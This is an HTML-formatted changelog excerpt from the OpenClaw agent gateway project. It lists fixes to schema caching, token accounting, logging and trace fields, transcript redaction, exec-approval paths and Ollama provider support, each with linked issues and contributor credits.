<li>Lobster/Gateway: memoize repeated Ajv schema compilation before loading the embedded Lobster runtime so scheduled workflows and <code>llm.invoke</code> loops stop growing gateway heap on content-identical schemas. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4323825705" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71148" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71148/hovercard" href="https://github.com/openclaw/openclaw/issues/71148">#71148</a>. Thanks @cmi525, @vsolaz, and <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/vincentkoc/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/vincentkoc">@vincentkoc</a>.</li>
<li>Codex harness: normalize cached input tokens before session/context accounting so prompt cache reads are not double-counted in <code>/status</code>, <code>session_status</code>, or persisted <code>sessionEntry.totalTokens</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294939319" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69298" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69298/hovercard" href="https://github.com/openclaw/openclaw/issues/69298">#69298</a>. Thanks @richardmqq.</li>
<li>Hooks/session-memory: use the host local timezone for memory filenames, fallback timestamp slugs, and markdown headers instead of UTC dates. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077284827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46703" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46703/hovercard" href="https://github.com/openclaw/openclaw/issues/46703">#46703</a>. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4077318445" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46721" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46721/hovercard" href="https://github.com/openclaw/openclaw/pull/46721">#46721</a>) Thanks @Astro-Han.</li>
<li>Gateway health: preserve live runtime-backed channel/account state in <code>gateway.health</code> snapshots and cached refreshes while keeping raw probe payloads on sensitive/admin paths only. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041371133" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39921" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39921/hovercard" href="https://github.com/openclaw/openclaw/pull/39921">#39921</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4054923925" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42586" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42586/hovercard" href="https://github.com/openclaw/openclaw/pull/42586">#42586</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076534390" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46527" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/46527/hovercard" href="https://github.com/openclaw/openclaw/pull/46527">#46527</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4119683274" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52770" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/52770/hovercard" href="https://github.com/openclaw/openclaw/pull/52770">#52770</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4054579227" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42543" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42543/hovercard" href="https://github.com/openclaw/openclaw/pull/42543">#42543</a>) Thanks @FAL1989, @rstar327, @0xble, and @ajayr.</li>
<li>Feishu: extract quoted/replied interactive-card text across schema 1.0, schema 2.0, i18n, template-variable, and post-format fallback shapes without carrying broad generated/config churn from related parser experiments. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4038206905" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/38776" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/38776/hovercard" href="https://github.com/openclaw/openclaw/pull/38776">#38776</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4201051829" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/60383" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/60383/hovercard" href="https://github.com/openclaw/openclaw/pull/60383">#60383</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4052134122" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42218" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/42218/hovercard" href="https://github.com/openclaw/openclaw/pull/42218">#42218</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4075296473" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/45936" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/45936/hovercard" href="https://github.com/openclaw/openclaw/pull/45936">#45936</a>) Thanks @lishuaigit, @lskun, @just2gooo, and @Br1an67.</li>
<li>Telegram/agents: hide raw failed write/edit warning messages in Telegram when the assistant already explicitly acknowledges the failed action, while keeping warnings when the reply claims success or omits the failure; <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040278873" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39406" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39406/hovercard" href="https://github.com/openclaw/openclaw/issues/39406">#39406</a> remains the broader configurable delivery-policy follow-up. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4107998150" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51065" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51065/hovercard" href="https://github.com/openclaw/openclaw/issues/51065">#51065</a>; covers <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040841536" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39631" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39631/hovercard" href="https://github.com/openclaw/openclaw/issues/39631">#39631</a>. Thanks <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a> and @Bortlesboat.</li>
<li>Exec approvals: accept a symlinked <code>OPENCLAW_HOME</code> as the trusted approvals root while still rejecting symlinked <code>.openclaw</code> path components below it. (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243267118" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64663" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/64663/hovercard" href="https://github.com/openclaw/openclaw/pull/64663">#64663</a>) Thanks @FunJim.</li>
<li>Logging: add top-level <code>hostname</code>, flattened <code>message</code>, and available <code>agent_id</code>, <code>session_id</code>, and <code>channel</code> fields to file-log JSONL records for multi-agent filtering without removing existing structured log arguments. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4108127045" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/51075" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/51075/hovercard" href="https://github.com/openclaw/openclaw/issues/51075">#51075</a>. Thanks @stevengonsalvez.</li>
<li>ACP: route server logs to stderr before Gateway config/bootstrap work so ACP stdout remains JSON-RPC only for IDE integrations. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4088925593" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49060" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49060/hovercard" href="https://github.com/openclaw/openclaw/issues/49060">#49060</a>. Thanks @Hollychou924.</li>
<li>Logging: propagate internal request trace scopes through Gateway HTTP requests and WebSocket frames so file logs, diagnostic events, agent run traces, model-call traces, OTEL spans, and trusted provider <code>traceparent</code> headers share a correlatable <code>traceId</code> without logging raw request or model content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042435480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40353/hovercard" href="https://github.com/openclaw/openclaw/issues/40353">#40353</a>. Thanks @liangruochong44-ui.</li>
<li>Diagnostics/OTEL: capture privacy-safe model-call request payload bytes, streamed response bytes, first-response latency, and total duration in diagnostic events, plugin hooks, stability snapshots, and OTEL model-call spans/metrics without logging raw model content. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4019760959" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/33832" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/33832/hovercard" href="https://github.com/openclaw/openclaw/issues/33832">#33832</a>. Thanks @wwh830.</li>
<li>Logging: write validated diagnostic trace context as top-level <code>traceId</code>, <code>spanId</code>, <code>parentSpanId</code>, and <code>traceFlags</code> fields in file-log JSONL records so traced requests and model calls are easier to correlate in log processors. Refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4042435480" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/40353/hovercard" href="https://github.com/openclaw/openclaw/issues/40353">#40353</a>. Thanks @liangruochong44-ui.</li>
<li>Logging/sessions: apply configured redaction patterns to persisted session transcript text and accept escaped character classes in safe custom redaction regexes, so transcript JSONL no longer keeps matching sensitive text in the clear. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4056740716" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/42982" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/42982/hovercard" href="https://github.com/openclaw/openclaw/issues/42982">#42982</a>. Thanks @panpan0000.</li>
<li>Agents/sessions: let <code>sessions_spawn runtime="subagent"</code> ignore ACP-only <code>streamTo</code> and <code>resumeSessionId</code> fields while keeping ACP passthrough and documenting <code>streamTo</code> as ACP-only. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4061499254" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43556" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43556/hovercard" href="https://github.com/openclaw/openclaw/issues/43556">#43556</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4224020997" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/63120" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/63120/hovercard" href="https://github.com/openclaw/openclaw/issues/63120">#63120</a>; covers <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4159060112" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56326" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56326/hovercard" href="https://github.com/openclaw/openclaw/issues/56326">#56326</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4210049383" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61724" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61724/hovercard" href="https://github.com/openclaw/openclaw/issues/61724">#61724</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243766641" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64714" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64714/hovercard" href="https://github.com/openclaw/openclaw/issues/64714">#64714</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4269747849" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67248" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67248/hovercard" href="https://github.com/openclaw/openclaw/issues/67248">#67248</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286646321" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68397" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/68397/hovercard" href="https://github.com/openclaw/openclaw/pull/68397">#68397</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4247437331" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65282" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65282/hovercard" href="https://github.com/openclaw/openclaw/pull/65282">#65282</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4183666554" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/58686" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/58686/hovercard" href="https://github.com/openclaw/openclaw/pull/58686">#58686</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4159218513" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56342" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/56342/hovercard" href="https://github.com/openclaw/openclaw/pull/56342">#56342</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041738951" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/40102" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/40102/hovercard" href="https://github.com/openclaw/openclaw/pull/40102">#40102</a>. Thanks @skernelx, @damselem, @Br1an67, @Mintalix, @IsaacAPerez, @vvitovec, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Sanjays2402/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Sanjays2402">@Sanjays2402</a>, @shenkq97, and @1034378361.</li>
<li>Providers/Ollama: honor <code>/api/show</code> capabilities, custom Modelfile <code>PARAMETER num_ctx</code>, configured provider/model context defaults, whitelisted native params such as <code>temperature</code>, <code>top_p</code>, and <code>think</code>, and native thinking effort levels so local models get accurate tools, context, and thinking behavior without forcing full-context VRAM use. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4243652449" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64710" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64710/hovercard" href="https://github.com/openclaw/openclaw/issues/64710">#64710</a>, duplicate <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4247974485" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65343" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65343/hovercard" href="https://github.com/openclaw/openclaw/issues/65343">#65343</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4286116014" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68344" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68344/hovercard" href="https://github.com/openclaw/openclaw/issues/68344">#68344</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4068385205" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44550" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44550/hovercard" href="https://github.com/openclaw/openclaw/issues/44550">#44550</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4115724405" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/52206" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/52206/hovercard" href="https://github.com/openclaw/openclaw/issues/52206">#52206</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4093765160" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/49684" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/49684/hovercard" href="https://github.com/openclaw/openclaw/issues/49684">#49684</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4288813407" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68662" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68662/hovercard" href="https://github.com/openclaw/openclaw/issues/68662">#68662</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4080851654" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/48010" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/48010/hovercard" href="https://github.com/openclaw/openclaw/issues/48010">#48010</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328145755" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71584" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71584/hovercard" href="https://github.com/openclaw/openclaw/issues/71584">#71584</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4069340291" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44786" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/44786/hovercard" href="https://github.com/openclaw/openclaw/issues/44786">#44786</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4298714503" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69464" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69464/hovercard" href="https://github.com/openclaw/openclaw/pull/69464">#69464</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4070089946" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/44955" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/44955/hovercard" href="https://github.com/openclaw/openclaw/pull/44955">#44955</a>. Thanks @yuan-b, @netherby, @xilopaint, @Diyforfun2026, @neeravmakwana, @taitruong, @armi0024, @LokiCode404, @zhouZcong, @dshenster-byte, @tangzhi, @pandego, @maweibin, @Adam-Researchh, @EmpireCreator, @g0st1n, and @voltwake.</li>
<li>Image tool/media: honor <code>tools.media.image.timeoutSeconds</code> and matching per-model image timeouts in explicit image analysis, including the MiniMax VLM fallback path, so slow local vision models are not capped by hardcoded 30s/60s aborts. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279519640" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67889" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/67889/hovercard" href="https://github.com/openclaw/openclaw/issues/67889">#67889</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4279773642" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/67929" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/67929/hovercard" href="https://github.com/openclaw/openclaw/pull/67929">#67929</a>. Thanks @AllenT22 and @alchip.</li>
<li>Providers/Ollama: strip custom provider prefixes before native chat/embedding requests, skip ambient localhost discovery unless config/auth opts in, handle custom remote <code>api: "ollama"</code> providers, accept OpenAI SDK-style <code>baseURL</code>, scope synthetic local auth and embedding bearer headers to declared host boundaries, resolve custom-named local providers for subagents, add provider-scoped model request timeouts, preserve explicit input modalities, and document <code>params.keep_alive</code> plus local/LAN/cloud/multi-host/web-search/embedding/thinking setup recipes. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331946087" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72353" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72353/hovercard" href="https://github.com/openclaw/openclaw/issues/72353">#72353</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4163674492" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/56939" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/56939/hovercard" href="https://github.com/openclaw/openclaw/issues/56939">#56939</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218171224" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62533" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/62533/hovercard" href="https://github.com/openclaw/openclaw/issues/62533">#62533</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063699337" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43945/hovercard" href="https://github.com/openclaw/openclaw/issues/43945">#43945</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4242267309" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/64541" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/64541/hovercard" href="https://github.com/openclaw/openclaw/issues/64541">#64541</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4289810240" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/68796" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/68796/hovercard" href="https://github.com/openclaw/openclaw/issues/68796">#68796</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4040967916" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39690" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39690/hovercard" href="https://github.com/openclaw/openclaw/issues/39690">#39690</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4164708025" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/57116" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/57116/hovercard" href="https://github.com/openclaw/openclaw/pull/57116">#57116</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4218493302" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/62549" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/62549/hovercard" href="https://github.com/openclaw/openclaw/pull/62549">#62549</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4294028827" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69261" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69261/hovercard" href="https://github.com/openclaw/openclaw/pull/69261">#69261</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4305660897" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69857" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69857/hovercard" href="https://github.com/openclaw/openclaw/pull/69857">#69857</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246414524" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65143" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/65143/hovercard" href="https://github.com/openclaw/openclaw/pull/65143">#65143</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4261643783" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66511" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66511/hovercard" href="https://github.com/openclaw/openclaw/pull/66511">#66511</a>; refs <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4063699337" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43945" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/43945/hovercard" href="https://github.com/openclaw/openclaw/issues/43945">#43945</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4058318799" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/43224" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/43224/hovercard" href="https://github.com/openclaw/openclaw/pull/43224">#43224</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041140398" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39785" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39785/hovercard" href="https://github.com/openclaw/openclaw/pull/39785">#39785</a>. Thanks @maximus-dss, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hclsys/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hclsys">@hclsys</a>, @IanxDev, @tsukhani, @issacthekaylon, @Julien-BKK, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Linux2010/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Linux2010">@Linux2010</a>, @hyspacex, @maxramsay, @Meli73, @LittleJakub, @Juankcba, @uninhibite-scholar, @yfge, @Skrblik, and @Mriris.</li>
<li>Providers/Ollama: move memory embeddings to <code>/api/embed</code> with batched <code>input</code>, route local web search through Ollama's signed daemon proxy while keeping cloud auth scoped, treat Ollama memory embeddings as key-optional in doctor, and keep model usage visible by estimating native transcript usage when <code>/api/chat</code> omits counters. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4041488866" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39983" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/39983/hovercard" href="https://github.com/openclaw/openclaw/issues/39983">#39983</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4292504181" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69132" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69132/hovercard" href="https://github.com/openclaw/openclaw/issues/69132">#69132</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4076765556" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/46584" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/46584/hovercard" href="https://github.com/openclaw/openclaw/issues/46584">#46584</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4039238525" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/39112" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/39112/hovercard" href="https://github.com/openclaw/openclaw/pull/39112">#39112</a>. Thanks @sskkcc, @LiudengZhang, @yoon1012, @hyspacex, @fengly78, and @TylonHH.</li>
<li>Agents/Ollama: parse stringified native tool-call arguments, retry native empty/thinking-only turns, accept already-prefixed LLM task model overrides, apply provider-owned replay normalization for Cloud models, validate explicit <code>--thinking max</code>, show resolved thinking defaults in Control UI, and include configured provider models in <code>models list --provider</code>. Fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4303167754" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69735" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/69735/hovercard" href="https://github.com/openclaw/openclaw/issues/69735">#69735</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4098081207" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/50052" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/50052/hovercard" href="https://github.com/openclaw/openclaw/issues/50052">#50052</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328894010" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71697" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71697/hovercard" href="https://github.com/openclaw/openclaw/issues/71697">#71697</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4328145755" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/71584" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/71584/hovercard" href="https://github.com/openclaw/openclaw/issues/71584">#71584</a>, <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4332228603" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/72407" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/72407/hovercard" href="https://github.com/openclaw/openclaw/issues/72407">#72407</a>, and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4246874368" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/65207" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/65207/hovercard" href="https://github.com/openclaw/openclaw/issues/65207">#65207</a>; supersedes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4306117215" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/69910" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/69910/hovercard" href="https://github.com/openclaw/openclaw/pull/69910">#69910</a>; carries forward <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4262256583" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/66552" data-hovercard-type="pull_request" data-hovercard-url="/openclaw/openclaw/pull/66552/hovercard" href="https://github.com/openclaw/openclaw/pull/66552">#66552</a> and <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4206791675" data-permission-text="Title is private" data-url="https://github.com/openclaw/openclaw/issues/61223" data-hovercard-type="issue" data-hovercard-url="/openclaw/openclaw/issues/61223/hovercard" href="https://github.com/openclaw/openclaw/issues/61223">#61223</a>. Thanks @rongshuzhao, @yfge, @L3G, @ralphy-maplebots, @Hollychou924, @ismael-81, @g0st1n, @NotecAG, and @drzeast-png.</li>
